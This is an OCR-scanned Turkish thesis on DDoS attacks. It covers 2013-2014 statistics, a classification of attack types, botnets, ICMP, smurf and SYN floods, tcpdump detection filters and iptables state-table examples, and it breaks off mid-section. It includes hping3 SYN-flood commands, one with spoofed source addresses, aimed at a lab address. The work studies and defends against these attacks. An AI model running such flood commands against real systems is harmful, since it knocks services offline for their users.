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OZET

Insan hayatin1 kolaylastirmak igin icat edilen birgok seyin ayn1 zamanda zarar
verici bir silah olarak kullanilmasi bilim tarihi boyunca sik karsilagilan bir durum
olmustur. Ornedin atomun parcalanarak sinirsiz enerji elde etme fikri paralelinde
oliimciil silah olarak kullanilabilecegi fikrini de dogurmustur. internet’inde ¢ok hizli
bir sekilde her yere ulasmasiayni zamanda birsilah olarak kullanilabilecegi fikrini

dogurmustur.

Yiiksek yogunluklu savas, niikleer savas ve soguk savas terimlerinden sonra
giinimiizde artik yeni bir terim olan “Siber Savas” terimi de kullanilmaya
baslanmugtir. Siber savaslarin etkileri yliksek yogunluklu bir savastan daha biiyiik
olabilmektedir. Tipik savaslarda diisman savunma sistemlerine, altyapilarina, sanayi

tesislerine verilebilecek her tiirlii zarar sanal ortamda da verilebilmektedir.

Bu tez ¢alismasinda DDOS saldirilarinin 6nemi anlatilmis, 2013 ve 2014
yillarinda meydan gelen baz1t DDOS saldirilar1 hakkinda istatistiksel bilgiler verilmis,
simiflandirilmalart her kaynakta farkli olan saldir1 tiirlerinin ¢esitli kaynakardan
derlenerek siniflandirmasi yapilmis, en sik kullanilan saldiri tiirleri anlatilmis ve
birka¢ simiilasyon ile gorsellestirilmistir. ikinci béliimde ise DDOS saldirilarina
karst alinmast gereken Onlemler siralanmitir. Tez’in sonunda saldirilara karsi
altyapmin oneminden bahsedilmis ve giivenli bir kurum altyapimnin nasil olmasn

gerektigine dair bir topoloji ¢izilmistir.

DDOS saldirilarint 6nlemenin en saglikli yapilacagi yer olan ISP aglarindaki

koruma ve alinmasi gereken ornekler ile tez tamamlanmistir.

Anahtar Kelimeler : DDOS, SYN FLOOD, DNS FLOOD, URPF,DDOS Onleme,
DDOS Savunma



ABSTRACT

Since the first DDOS attack in 1996 they still remain to be one of the most
popular types of attacks. These types of attacks are easy to do and the increase in
internet capacity makes it even easier. DDOS attacks made in 2013/2014 have cost

millions of dollars.

About 95% of websites use http service which makes it very attractive for
attacks on the application layer. Malicious software are also getting more advance
and being seen a lot more. These types of software can turn common household

users into members of cyber groups without their knowledge.

First part of this thesis is about the description of DDOS attacks, statistical
information and types of such attacks as well as categorizes them according to attack
types. Second part is about the detection of DDOS attacks and tools that could be
used for detection and making DDOS attacks. Attack simulations are used to show

the moment of such attacks. Last section is about preventive methods against

DDOS attacks and technical examples for the most common types of
attacks. Infrastructure schemes were drawn for networks with different designs and
preventive methods that should be used by ISP’s as well as their responsibilities were

explained.

Key Words : DDOS, SYN FLOOD, DNS FLOOD, URPF,DDOS Prevention,
DDOS Mitigation
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1. GIRIS
Insanlik tarihinde farkli amaglar igin kullanilmaya baslanmis baz icatlarin
zamanla ¢ok farkliyerlerde kullanilmaya baslanmas: siklikla goriilmiistiir. Ornegin,
askeri ve siyasi rekabetler sonucunda uzay teknolojisi ¢ok ilerlemis ve sonradan sivil
hayatin ihtiyaglart i¢in’de kullanima agilmistir. Belkide bunlara en iyi Ornek
Internet’tir. Once soguk savas déneminde askeri amaglar igin kullanilan ARPANET
daha sonradan tcp/ip’in standart hale getirilmesi ile beraber modern internet’in ilk

temelleri atilmistir.

Internetin artik neredeyse diinyanin tamamma ulasmasi, her kisi veya
kurumun kullanmasi, bir anda milyonlarca kisiye erisim imkaninin olmasi bir¢ok
sektiirlin gelismesine, yeni meslekler ve yeni sektorlerin olusmasimna 6n ayak
olmustur. Bugiin finans sektoriiniin trafigi hemen hemen tamami internet tizerinden
akmaktadir. Cep telefonu sebeklerinden tutun da sokak kameralarina kadar her tiirlii

haberlesme tcpip protokoliinii kullanarak internet lizerinden gerceklesmektedir.

Insan hayatin1 kolaylastirmak icin icat edilen birgok seyin ayni zamanda
zarar verici bir silah olarak kullanilmasi bilim tarihi boyunca sik karsilagilan bir
durum olmustur. Ornegin atomun pargalanarak sinirsiz enerji elde etme fikri
paralelinde oOliimciil silah olarak kullanilabilecegi fikrini de dogurmustur.
Internet’inde ¢ok hizli bir sekilde her yere ulasmasi, bir anda milyonlarca kisiye

erisme imkan1 Sosyoloji bilimi alaninda ayr1 bir baslik olusturmaktadir.

Ancak insan hayatina kattig1 kolayliklarin yani sira farkli amaclar icinde
kullanilabiliyor olamasi internet’in farkli bir boyutu oldugunu gostermektedir.
Ornegin reklam amacl yapilan bir yayin milyonlarca kisiye ulasabiliyorken, art
niyetli bir yayinda ayni hizla ulasabilmektedir.Internet kullanimmin 1990’11 yillarda
baslamas1 ve 2000’li yillarin basinda kullanim ivmesinin rekor seviyede artmasi

diger bir deyimle diinyanin daha hizli donmesini saglamistir.

Toplumlar ilk uygarliklart kurduktan beri kendi aralarinda gelismislik
diizeylerine gore farkl: silahlar kullanarak savsamislardir. Bu silahlar sirasiyla tas ile
balsayip, demirin icadi ile beraber kili¢ kalkan, barut ve 6zelikle sanayi devriminden

sonra ise modern silahlara donmeye baslamistir. Yiiksek yogunluklu savas, niikleer



savas ve soguk savas terimlerinden sonra giiniimiizde artik yeni bir terim olan “Siber
Savag” terimi de kullanilmaya baglanmistir. Siber savaslarin etkileri yiiksek
yogunluklu bir savastan daha biiylik olabilmektedir. Tipik savaglarda diigman
savunma sistemlerine, altyapilarina, sanayi tesislerine verilebilecek her tiirlii zarar
sanal ortamda da verilebilmektedir. Son yillarda yapilan siber saldirilarin milyarlaca
dolar’lik zarar1 bunu kanitlamaktadir. Bu saldirilara 6rnek olarak Blaster,Zeus,

Stuxnet gibi 6rnekler verilebilir.

Ozellikle konvansiyonel yonden gii¢lii olmayan bazi iilkeler oldukca etkili
siber saldirilar diizenleyebilmektedir. Ornegin Rusya-Giircistan savasi sirasinda
Rusya’ya yapilan siber saldir1 ve Iran niikleer tesisilerine yapilan siber saldir1 érnek

verilebilir.

Bu savaslarin bir diger boyutu ise kiiresel aktivizim denilen ¢ogu politik olan,
protesto amacli yapilan siber saldirilaridir. Anonymous grubu bu gruplarin basinda

gelmektedir.

DDOS saldirilar ise siber savas ortaminda “hack” olarak siniflandirilmayan
bir saldir1 ¢esididir. Temel amag servislerin bir siireligine ¢aligmasini engellemektir.
Saldir1 protokol ve sistemlerdeki dizayn acikliklarini kullanarak yapilirlar. Bu
yoniiyle yapilmasi oldukca kolaydir. Saldirtyr1 yapmak i¢in ¢ok fazla yatirnma ve

programa gerek yoktur.

DDOS saldirilart servis engelleme saldirilar: olduklar i¢in 6zellikle finans ve
medya sektoriinde ciddi mali kayiplara sebep olmakdir. Ornegin bir haber kanalinin
internet sitesi, internet agik arttirma sitesi veya internet bankaciligi hizmeti veren bir
bankanin sistemlerinin bir slire hizmet verememesi ol¢iilebilir bir zarar ¢ikarabilse de

Olclilemeyen zararlar1 ¢ok daha fazla olacaktir.

Bu tez ¢aligmasinin ilk boliimiinde DDOS saldirilarinin tanimi yapilarak 2013
ve 2014 yilinda meydana gelen bazi DDOS saldirilar1 hakkinda istetistiksel bilgiler
verilmis, her kaynakta farkli olan saldir tiirlerinin ¢esitli kaynakardan derlenerek

siniflandirmasi yapilmistir.

Ikinci boliimde ise en sik kullamilan saldiri tiirleri anlatlatilip gérseller ve

birka¢ simiilasyon ile gorsellestirilmistir. Saldirilarda kullanilan bazi uygulamalarin



ekran goriintlileri gosterilmis ve bu uygulamalar1 kullanarak yapilacak saldirilara

kars1 yazilan 6zel kodlar eklenmistir.

Uciincii ve son béliimde ise DDOS saldirilarma karst alinmasi gereken
onlemler teknik olarak anlatilmistir. Biitlin kurum ve aglarda uygulanabilecek bir
altyapt semasi g¢izilerek saldirilara acik noktalar belirtilmis ve alinmasi gereken

tedbirler isaretlenmistir.

DDOS saldirilarin1 énlemenin en saglikli yapilacagt yer olan ISP aglarindaki

koruma ve alinmasi gereken dnlemler ornekler ile tez tamamlanmistir.



2. SALDIRI CESITLERI VE TESPiT YONTEMLERI

Bu boélime DDOS saldirilarimin son yillardaki istatistiksel verileri ile
baslanmigtir. Bunun temel sebeplerinden birisi olusturulacak savunma semasinin

uygulanacagi sistemlere uygun dizayn edilmesi i¢in fikir olusturmasidir.

Saldir1 kategorileri hakkinda genel bir goriis hakim olmamakla beraber Sekil

2’dekigibi bir siniflandirma uygun gorilmiistiir.

Saldirn aninda en Onemli etken uyar1 sisitemleri ile bilgi saglamak ve
derinlemesine analiz yapmaktir. Bu sebepten oncelikle saldirilarin en sik yapildigi
katmanlar hakkinda bilgi verilmistir. Boliimiin son kisimlarinda ise network ve
uygulama katmanlarindaki saldirilar simule edilmis, saldir1 tiirlerinin tespiti ve

analizi hakkinda bilgiler verilerek 6rneklendirilmistir.

2.1 DDOS (Distributed Denial of Service Attack )

Distributed Denial of Service Attack’un kisaltilmisi olan DDOS “Dagitik
Servis Engelleme Saldiris1 “ anlamina gelmektedir. Amag sistemlere sizma girisimi
veya bilgi hirisizligr degildir. Teknik olarak temel amag¢ sunucu ve ag sistemlerini

belirli bir siire kullanilmaz hale getirmektir.

| °| 500 Internal Server Error

¢ o @ (o %™ g A

Internal Server Error

Sekil 1.1 : DDOS saldiris altinda olan bir web sunucusu.

DDOS saldirilarinin en ¢ok tercih edilen saldiri tiirlerinden birisidir. Bunun
sebebi kolay yapilabilir ve etkilerinin fazla olmasidir. Ornegin finans ve medya

sektorlinde yasanababilecek kesintiler ciddi maddi kayiplarin yani sira prastij



kayiplarina da sebep olabilmektedir. DDOS saldirilarint diizenleyenler genel olarak ,

hacker gruplari, sanal aktivizm hareketleri, ticari sirketler,devletler olabilmektedir.
DDOS Saldirilarinin teknik 6zellikleri sdyle siralanabilmektedir;

- Binlerce farkli kaynaklardan yapilirlar.

- Genellikle sahte ip adresleri kullanirlar.

- Botnet’ler kullanilir.

- Binlerce farkli adresten saldir1 diizenlenebilektedir.

- Gergek saldirganin bulunmasi imkansizdir.

- OSI katmanlarinin birgogunda tanimlanabilecek saldir1 ¢esitleri mevcuttur.

- Bant genisiligini tiiketme amagli saldilar hedef sunucun yeterli bant genisligi
olmadigi durumlarda basarili olur. Ancak ISP seviyesinde onleme basarili
olur.

- Bant genisligi saldirilan tcp zafiyetlerini, http flood saldirilar1 uygulama

zaafiyetlerini hedef alir.

DDOS saldirilarina maruz kalmaya sebep olan etkenler genel olarak yazilimlarin
barindirdiklart aciklar ( bug ) ve protokollerin tasarimlarindaki hatalardan

kaynaklanmaktadir .

2.2 DDOS istatistikleri

2013-2014 willlarinda diinya ¢apinda ¢ok sayida DDOS saldir1 yasanmustir.
Bu saldirilar biiylik oranda etkili olmus ve hedef sistemler ¢alisamaz hale

gelmistir.

e Saldirilarin %89’u altyap1 ( network & datalink vb ) katmanlarina yapilirken
%11°1 uygulama katmanlarina yapilmistir.

e Altyapr saldirilarinin % 26’s1 SYN Flood, %25’1 UDP Flood geri kalanlar
ise diger ataklardan olusmustur.

e Uygulama katmani saldirilarinda en cok HTTP GET saldirilar1 yer almistir.

e Yillara gore kiyaslama yapildiginda bant genisligi siireli olarak artmaktadir.

e DDOS saldirilar1 ortalama 17 saat siirmiistiir.



e Layer 7’de yapilan saldirilarin  biiyilk kismi Botnet’lerden geldigi

gbzlemlenmistir.

Network (Layers 3 & 4) DDoS Attacks
2013: Overview
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2013-2014 yillarina ait DDOS bant genisligi sinirlar1.

Sekil 4’te saldirilarda ¢ikilabilen bant genislikleri stirekli  arttig1

gbzlemlenmistir.
Total Network DDoS Attacks Large DDoS Attacks
(by Type) (by Type)

Large SYN Large SYN
MNormal SYMN 24.5% DMNS Amp. 34.9%

DNS Amp. NTPAMP.

NTP Amp. 14.8%

Small DNS Large DDoS (+20Gbps)
LargeDNS ~ 1.7% Attack Ratio is almost 1/3

2013-2014 yillarinda yapilan DDOS saldirilar ¢esitleri.

En ¢ok yapilan DDOS saldilar sirastyla, SYN ve DNS FLOOD saldirilari

olmustur.

2013 LENGTH OF DDOS ATTACKS
it |2.98%
3-7 days I 4.26%

bt 15.32%
Less than
aday 77.45%

0% 10% 20% 30% 40% 60% 60% 70% 80%

2013 yilinda yapilan saldirilarin ortalama siireleri.

Saldirilarin  biiylik kismimin bir giin igerisinde sonlandigi ancak bazi

saldirilarin bir hafta kadar siirdiigii gézlemlenmektedir.



Top Attack Originating Countries
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India China Iran  Indonesia  US  Thailand Turkey Russian Vietnam  Peru

DDOS Saldirilar yapan kaynak ip adreslerinin tilkere gore dagilimi.

DDOS yapan ip adresleri bazinda yapilan dagilimlarda en fazla Hindistan ve
Cin kaynakli ip adresleri goriilmektedir.

OSI katmanlarma gére DDOS saldirilarinin ayrilmasi.

SYN FLOOD saldirilar1 halen en yiiksek dilime sahip olsa da Layer 7’de
yapilan sladirilar siirekli artmaktadir. Bunun sebebi ise Layer 3-4 ‘de yapilan

saldirilar i¢in ISP katmanlarinda alinan énlemlerdir.

Layer 7°de yapilan saldirilar Web sunucular iizerinde siirekli yeni
giincellemeler yapilasini gerektirmekte ve yeni nesil Firewall ve IPS donanimlarinin
yeni oturum sayilart ( session ) islem yapma kapasiteri gibi ozelliklerinin

arttiritlmasina neden olmaktadir.



Kiiresel Olarak DDoS Saldirilarinin Sektarel Dagiling
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Kurumsal Ticaret Medya & Eglence  Yiiksek Teknolojiler Kamu Sekiérd
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DDOS saldirilarinin hedef alindigr sektorler.

Kiiresel bazda yapilan dagilimlarda DDOS saldirilarinin en ¢ok kurumsal
sirketleri hedef aldig1, bunlarin dogrudan ticari faliyet gosteren sistemlerin

oldugu goriilmektedir.

02 2014 Mitigations By Vertical:
Every industry is a target
3%

TELECOMMUMNICATIONS

MEDIA & ENTERTAINMENT 30/

FINAMCIAL
T SERVICES/CLOUN/SAAS

PUBLIC SECTOR

2014 yilinda yapilan DDOS salduirlarinin endiistriyel bazda dagilimi.

Endiistriyel bazda yapilan smiflandirmada en fazla medya ve bulut

sistemlerinin hedef alindig1 goriilmiistiir.
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http://www.digitalattackmap.com adresinden belirli ISP’ler den alinan veriler

1s181innda anlik olarak DDOS saldirilar1 izlenebilmektedir.

2.3 DDOS Saldir1 Kategorileri

DDOS saldir tiirlerinin siniflandirilmas: yoniinde gesitli goriisler mevcuttur.
Otoriteler ¢ok c¢esitli smiflandirma yapabilmektedir.  Bazi otoriteler DDOS
saldirilarint OSI katmanlart ile siniflandirirken bazi kaynaklar kullanilan arag ve

yontemlere gore bazilari ise de etkilerine gore siniflandirmaktadir.

Saldirlari, tiirleri ve saldirt sekillerine gore simiflandirma yapmak

istedigimizde Sekil 1°deki gibi bir tablo ¢ikmaktadir.
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Turlerine Gore

DDOS Saldiri Cesitleri

Yogunluk Temelli saldirilar ( vVolume Based )

Protokol Kaynakl1li saldirilar

UyguTlama Katmanli saldirilar

saldiri sekillerine Gore;

Ag Katman1
( Network Layer )J

L«

Fiziksel Katman
Physical Layer

)

Aktarim Katmani
( Transport Layer )

Uygulama Katmani
( ApplicationLayer )

TCP SYN+ACK Attack

|
(TCP RESET ICMP Mixed)

SYB + UDP + ICMP +

UDP Flood

Dummy Packet Attack

TCP ACK IGMP Ping of
Death

TCP ACK + PSH HTTP
Flood smurf

Sekil 2 : DDOS saldirilarmin siniflandirilmas.

STowloris DNS Flood

NXDomain

I
TCP Fragment Brute
Force Reflected

ICMP & UDP
Il

Simple Service Discovery
Protocol (SSDP) DoS Attack

SYN Flood - smurf
Attack

User Datagram Protocol
(UDP) DoS Attack

DNS Flood

I
p

TCP FIN Spoofing
NXDomain

2.3.1 Yogunluk Tabanh ( volume-based ) Saldirilar

Bu saldirilarda genel amag¢ hedefin herhangi bir servisine yonelik bant

genisligini tiikketmek i¢in yapitig1 saldiridir. Hedefe dogru yapilan istekler ¢ok genis

bant kaynaklarindan, botnet’ e dahil olmus, bulut sistemi icerisindeki sunuclari

kullanarak ¢ok sayidaki sistemlerden yapilan saldirilardir.
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Botnet Ornegi

Hedef Sistem

Sekil 3 : Botnet ag1 ve Ornegi

DDOS saldirist aninda alinacak log’larda en belirgin olacak sey kaynak ip
adreslerinin ¢ogunlukta olmasi olcaktir. Kullanilacak bazzi teknikler sayesinde
spoof edilmis ip adresleri elende dahi yine ¢ok fazla sayida farkli ip adresi
goriilecektir. Bu ip adresleri botnet’e dahil olmus ve merkezi bir noktadan ( IRC
Servers ) kontrol edilen bilgisayarlardir. Botnet’edahil olan bilgisayarlar kdle (
zombie / slave ) adlandirilirlar. Bu kontrol edilen bilgisayarlar sadece DDOS amach
degil diger bir ¢ok sanal saldirilarda kullanilabilirler. Saldirganlarin dogrudan
kontrolii ile degil, ara bir segment kullanilarak kendilerini ¢ok rahatlikla

(13

gizleyebilmektdir. Bu kontrol merkezleri “Command Center ( CC ) * olarak

adlandirilmaktadir.

Botnet’e dahil olan bilgisayar kullanicilar ¢ogu zaman bunun farkinda
degillerdir. Bilgisayara bulasan zararli bir kod, yazilim bunlara sebep olmaktadir.
Botnet’in  bir parcast olmast durumunda bilgisayar {izerine gbzlemlenen
yavaglamalar, internete dogru siirekli paket gonderildiginden internet hizi

yavaglamalaridir.
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H D TIME_WAIT
116.171:http  ESTABLISHED
.116.185:http  ESTABLISHED
.116.172:http  ESTABLISHED
.116.172:http  ESTABLISHED
.116.173:http  ESTABLISHED
116.173:http  TIME_WAIT
.116.172:http  ESTABLISHED
116.172:http  TIME_UWAIT
116.172:http  TIME_WAIT
.11 ?2:http  ESTABLISHED

TIME_WAIT

ESTABLISHED
ea—in—fi19i:http ESTABLISHED
173.194.116.172:http TIME_WAIT
173.194.116.178:http  ESTABLISHED
nucB3si4-in—f13:https ESTABLISHED
81.22.36.187:http TIME_WAIT
173.194.116.171:https ESTABLISHED
ea—in—-f95:http ESTABLISHED
ea—in—f?5:http ESTABLISHED
edge—star—shv-B1-cdg2:https ESTABLISHED
184.28.24 .69:http ESTABLISHED
s3-1:https TIME_WAIT
251:http TIME_MWAIT
251:http TIME_MWAIT

251 :http TIME_UWAIT
s3-1:https TIME_MWAIT
80-237-208—41 :https ESTABLISHED
a23-57-187-27:http ESTABLISHED
a23-57-187-27:http TIME_WAIT
of lex—463- \

https
of lex—463-2:http
174:https
TIME_WAIT

thttp TIME_WAIT

.116.164:http  ESTABLISHED
173.194.116.175:http  ESTABLISHED
1i41-38:http TIME_WAIT
1i41-38:http
1i41-38:http TIME_UWAIT
1i41-38:http TIME_WAIT
1lid41-38:http TIME_WAIT
1i41-38:http TIME_UWAIT
173.194.116.163:http TIME_WAIT
ec2-176-34-113-73:http ESTABLISHED
619rBzyt thttp TIME_WAIT
173.194.116.173:http  ESTABLISHED

4 Gooo g5 _ ap

Sekil 4 : Botnet’e dahil olmus bir bilgisayardaki agik oturumlar.

Ornek bir “netsat” c¢iktisinda internete dogru ¢ok istegin agik oldugu

goriilmektedir.

Zararli Bulut Sistemleri

Bulut Servisi \ © I

Gergek T :
saldirgan 522222223
Hedef Network

Buutsi:;:///////f

el
—_—
=
—_—
=l

Bulut Servisi

Sekil 4 : Botnet aginin bulut sistemler iizerinden yonetimi.

13



2.3.2 Protokol Kaynaklh Saldirilar
2.3.2.1 Internet Control Message Protocol Floods

En eski DoS saldir c¢esitlerinden bir tanesidir. ICMP porotokoliinii
kullanilarak yapilan saldirilarda TCP/IP nin ¢alisma mantiginda olan soru /
cevap mantig1 kullanir. Normal bir ICMP paketinde hedefe gonderilen istek (
echo ) eger hedef acik ise ( live ) bir cevap doner ( echo replay ). Bu sekilde
hedefe dogru yapilan ¢ok fazla istek hedefin cevap vermeye baglamasi ile hedef
sistemin mesgul olmaya baslamasi anlamina gelecektir ve hedefe dogru sahte ip
kaynakli yapilacak istege hedefin geri donmesi bir siire sonra hedefi ¢aligmaz
hale getirecektir. Cilinkii hedef kendisine gelen her istege yanit donmek
zorundadir ve sahte ip ile gelen isteklere cevap vermeye c¢alisacagi i¢in siirekli

ocho replay istegi gonderecektir.

ICMP Flood Ornegi

Saldirgan Hedef Sunucu
st

- i

-_— [——1

ICMP ECHO REQUEST (SPOOFED)

ICMP ECHO REPLY

P

ICMP ECHO REQUEST (SPOOFED)

Sahte ip adreslerinden

gelen istekler
ICMP ECHO REPLY

ICMP ECHO REQUEST (SPOOFED)

N7

ICMP ECHO REPLY

Sonsuz sayida istek ve cevap

Sekil 5 : Sahte ip adreslerinden icmp paketlerinin génderilmesi.

2.3.2.2 Smurf Saldirilan

Bu saldir1 ¢esidinde mantik hedef sisteme istek yapmaktan cok, hedef

sistemin istek yapmasina sepep olmak ve bulundugu yerel ag igerisinde siirekli istek

14



yapmis gibi gosterilmesidir. Saldirgan hedef sistemin ip adresini taklit ederek
bulundugu ag icerisinde ¢ok sayida istek yaparak ( broadcast ) kurbana cevap

doniilmesini saglar.

ICMP istegi ( broadcast )
Kaynak : istek yapan "
= /
saldiri yapilacak ip P
saldirgan adresi gibi gosterilir. A
s
-
'
4
W
s | ¢ —
" N LN
/7 ’ <
7/ ’ ,/ —
/ Va Vi -
/ ’ - _ < S
4 ” 4
’ /, ,’ b -
// ’/ e e {— H
B P s 2”7 gy
A 58 P e L -
P - -~
¥ ‘2 - g o - H
i g
TR SRS p—
- ---"
kurban € = _ _ _ e -!
Dénen ICMP cevaplari | — ~ i———

Sekil 6 : Botnet ag1 6rnegi

Smurf saldirilar1 i¢in yonlendirici ( router ) cihazlar1 {izerinde directed-

broadcast trafigin engellenmesi ile gerekli dnlem alinmis olur.

2.3.2.3 TCP SYN Flood Attcaks

Tipik bir TCP haberlesmesi kullanici tarafindan baslatilan ve sunucu tarafinda

yanitlanan haberlesme datalarinin tamamlanmast ile olusur.

TCP protokolu “connection-oriented” protokoldur. Bu 6zelligi ile baglantinin

baslamasindan bitimine kadar tiim bilgiler bayrak (flag) ile saklanir.
Baglant1 durumlari;
Listen : Baglatiya bagslmadan 6nce bekleme durumu,

SYN-SENT : Bekleme durumundan sonra SYN paketinin gonderilmesi,

15



SYN-RCVD : gonderilen SYN paketine hedefin dondiigii SYN-ACK cevabi,

ESTABLISHED : SYN-ACK mesajindan sonra hedefe gonderilen ACK mesaj1

ile tamamlan baglati durumudur.
Genel olarak ;
—> Closed : Baglantinin baglamadan 6nceki mevcut durumudur,
- Istemci hedefe bir SYN ( synchronize ) mesaji gonderir,
—> Hedef istemciye SYN-ACK mesaji doner,

- Istemci tekrardan ACK (acknowledgement ) cevabi gondedir.

TCP Three-Way Handshake

istemci Sunucu

! SYN i

o
>

SYN-ACK

ACK

»
>

Ug¢ adimdan sonra baglanti saglanmis olur.

Sekil 7 : Uclii el sikigma siralamast.

Bu {iglii islemli haberlesmeye TCP three-way handshake ( ti¢lii el sikisma )
denir. [2]

Source Destination Protocel  Info

Sekil 7 : Uglii el sikismamin tcp-dump goriintiisii.

SYN Flood saldirilarinda ise saldirgan hedefe gonderdigi isteklere cevap
vermez, spoof edilmis ip adresleri kullanarak sunucunun siirekli sahte adreslere

cevap donmesi saglanir (Sekil 4, Sekil 5)
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SYN SEND : Baglant1 i¢in oturumun olusmasindaki ilk adimdir. Kaynak
ip/network hedefe syn paketleri gonderir.

SYN_RECEIVED : Hedefin kendisine gelen syn paketlerine syn+ack

paketleri ile cevap vermesidir.

ESTABLISHED : Hedeften gelen syn+ack paketlerine ack ile cevap verilir

ve U¢lii el sikisma gergeklesip baglant1 saglanmis olur.

455 26,776702 173.11.102, 86 10,0.4,80 TCP 1560=0 Win=65535 Len=0 NS5=1460 WS=3 TSV=723892481 TSER=0 SACK_PERM=1
463 27.775178 173,11.102. 86 10.0.4.80 TCP 164774 > hrtp [SYN]|Seq=0 Win=65535 Len=0 MSS=1460 WS=3 TSV=723892491 TSER=0 SACK_PERM=1
475 28.779858 173.11.102.86 10.0.4.80 TCP 164774 > http [SYN]|Seqs0 Wine65535 Lens0 MSS=1460 WSw3 TSVa723892501 TSERs0 SACK_PERMs1
478 20.781389 173.11.102.86 10.0.4.80 TCP (64774 > http [SYN]|Seqs=0 Win=65535 Lens0 MSS=1460 WS=3 TSV=723892511 TSER=0 SACK_PERM=]
482 30,779827 173.11,102, 86 10.0.4,80 TCP 5eq=0 Win=65535 Len=0 M5S=1460 WS=3 TSV=723892521 TSER=0 SACK_PERM=1

Sekil 8: SYN_SEND Wireshark goriintiisii.

SYN Flood Ornegi

SYN (SPOOFED) Victim

SYN (SPOOFED) i

SYN-ACK

v

Attacker

SYN-ACK

SYN-ACK

Sahte ip adreslerine ?
gonderilmek istenen SYN-ACK
mesajlari

Sekil 9 : Sahte ip’lerden gelen istekler ( --random-source )
Sistemlede olusan SYN trafigini gormek icin asagidaki 6rnekler incelenbilir; [19]
- Sistemin tcp/80 portuna yapilan SYN istegi icin,

tcpdump -ne dst port 80 and 'tcp[13] & 2 == 2!
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- Sistemin tcp/80 portuna yapilan ve boyutu 30 KB olan SYN istegi icin,
tcpdump -c¢ 30000 -ne dst port 80 and 'tcpl[13] & 2 == 2!

- Sitemin kabul ettigi ( cevap vermeye c¢alistigi ) SYN cevabint gérmek igin,
tecpdump 'tcepl[13] & 16!=0"

Ornek bir SYN-FLOOD Saldirist Ornegi;

hping3 -1 ul -S -p 80 192.168.119.129

Sekil 10 : Bir SYN FLOOQOD saldirisinin siddeti.[5]

Sekil 10’da bir SYN FLOOD saldiris1 sirasindaki trafik degerleri ve

saldiriin durdugu anda trafik degerlerinin diismesi gosterilmektedir. [5]

Sekil 11 : SYN FLOOD saldirisinin tcp dump ile izlenmesi.
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Yapilan SYN-Flood isteklerinini tek ip adresinden geldigi goriilmektedir.

Sekil 12 : tcpdstat uygulamasi ile “syn.pcap” ¢iktisinin analiz edilmesi.
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Saldirinin  6zel bir protokole yapilmadigi, isteklerin tcp protokoliinii

kullandig1 gbéz Oniine alindiginda, bu saldirinin SYN FLOOD  saldirist oldugu

sOylenebilir.

Sekil 13 : SYN FLOOD saldirisinin tcp dump ¢iktisi

Sekil 13°deki trafik incelendiginde saldirinin farkli ip adreslerinden geldigi

goriilmektedir. Bu tiir saldirilar i¢in 6rnek komut asagidaki gibidir;

hping3 --baseport 80 --destport 80 --syn —--spoof 192.168.119.129

File Edit View Go ture Analyze 5 Telephony ermna
| o = e e — =] ks -
Bl e o« %= A, wvau BE AKX Q] R
Filter: [ |Ex;nesﬁun".
No. Time Source Destination Protocol Length | info E
12828 1.399246 127.144.27.255 192.168.119. : 60 53562 > @ Seq=0 ;
12829 1.399258  215.211.203.210 1192.168.119.129 TCP 6053563 > 0 [SYN, URG] Seq=6 Win=512 Urg=0 Len|]

12830 1.399258  192.168.119.129 215.211.203. 54 @ > 53503 Seq=1 Ack=1 Win= Len=@
12831/1.399278  128.219.130.50 1192.168.119.129 TCP 6053504 > 0 [SYN, URG] Seq=8 Win=512 Urg=0 Len
12832 1.399286  192.168.119.129 128.219.130. 54 0 > 53504 Seq=1 Ack=1 Win=8 Len=@

12833 1.399386  64.64.35.208 1192.168.119.129 TCP | 60 535085 > @ [SYN, URG] Seq=6 Win=512 Urg=@ Len

12834 1.399315  192.168.119.129 64.64.35.208 54 & > 53505 Seq=1 Ack=1 Win=8 Len=6
12835 1.399334  45.8.103.209 1192.168.119.129 TCP | 60 53586 > @ [SYN, URG] Seq=6 Win=512 Urg=6 Len
12836 1.399344  192.168.119.129 45.8.103.209 54 @ > 53506 [RST, Seq=1 Ack=1 Win=8 Len=g
12837 1.399390  160.57.190.36 1192.168.119.129 TCP 6053507 > © [SYN, URG] Seg=8 Win=512 Urg=6 Len
12838 1.399427  192.168.119.129 160.57.190.36 54 8 > 53507 Seq=1 Ack=1 Win=g Len=g
128391.399458  157.32.150.191 1192.168.119.129 TCP 6053508 > © [SYN, URG] Seq=8 Win=512 Urg=e Len
12846 1.399461  192.168.119.129 .32.156.191 54 0 > 53508 Seq=1 Ack=1 Win=e Len=g
12841 1.399481  219.110.222.237 1192.168.119.129 TCP | 6053589 > @ [SYN, URG] Seq=6 Win=512 Urg=e Len
12842 1.399498  192.168.119.129 119.222.237 54 0 > 53509 Seq=1 Ack=1 Win=8 Len=6
12843 1.399518  255.21.167.157 1192.168.119.129 TcP | 6053510 > O [SYN, URG] Seq=B Win=512 Urg=8 Len
12844 1.399532  192.168.119.129 .21.167.157 54 0 > 53510 Seg=1 Ack=1 Win=0 Len=cj

[I— = — S— &
+ Frame 12828: 60 bytes on wire (_489 bits), 60 bytes captured (_48@ bits) v
1888 00 Bc 29 00 5T 6a 60 Bc 29 B9 81 34 08 00 45 00 voge oy Yo il B
1818 08 28 b3 aB 60 08 40 86 3 6e 7T 98 1b ff O a8 JR R PR | DR
1920 77 81 do fe 00 00 34 e6 23 4c 68d 7b cc 9 50 22 L™ P, 4. *L.{..P" !
1930 02 00 cf 63 0O 00 OO GO OO PO 0O 0O ey SRk o

Sekil 14 : SYN FLOOD saldirisinin wireshark ile incelenmesi
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Ciktu Wireshark ile incelendiginde farkli ip adreslerinden SYN paketi
geldigi, sistemin bu isteklere cevap verdigi ve ardindan RST paketi gonderdigi
gorilmektedir. Bu sekilde yapilan isteklerin sahte ip adresleri kullanilarak

yapildigini séylemek miimkiindiir.

Bu tiir istekleri Firewall’lar durum (state) tablolarinda tutarlar. Bu isteklerin

cok fazla sayida olmasi Firewall’in tablolarini doldurarak ¢alismaz hale getirecektir.

Stateful paket analizi yapabilen Firewall’lar ise dis ortamlara agilan portlara
yapilan istekeri dncelikle network katmaninda kontrol eder. Bu kontrol islemi gelen

istegin bir siire bekletilmesi ikinci bir istek geldigi zaman cevapa donmesidir.

Omek olarak asagidaki IPTABLES Firewall’da yazilmis bir kural

goriinmektedir.[6]

tcp 6 93 SYN SENT src=192.168.1.34 dst=172.16.2.23 sport=1054
dport=21 [UNREPLIED]

»src=172.16.2.23 dst=192.168.1.34 sport=21 dport=1054 use=1
Tcp 6: izlenecek protokol kiimesi,
93 : durum tablosundan silinmeden 6nce beklenecek siireyi temsil etmektedir.

Baglantinin saglanmasinda sonra ise durum tablosu asagidaki gibi

degisecektir;

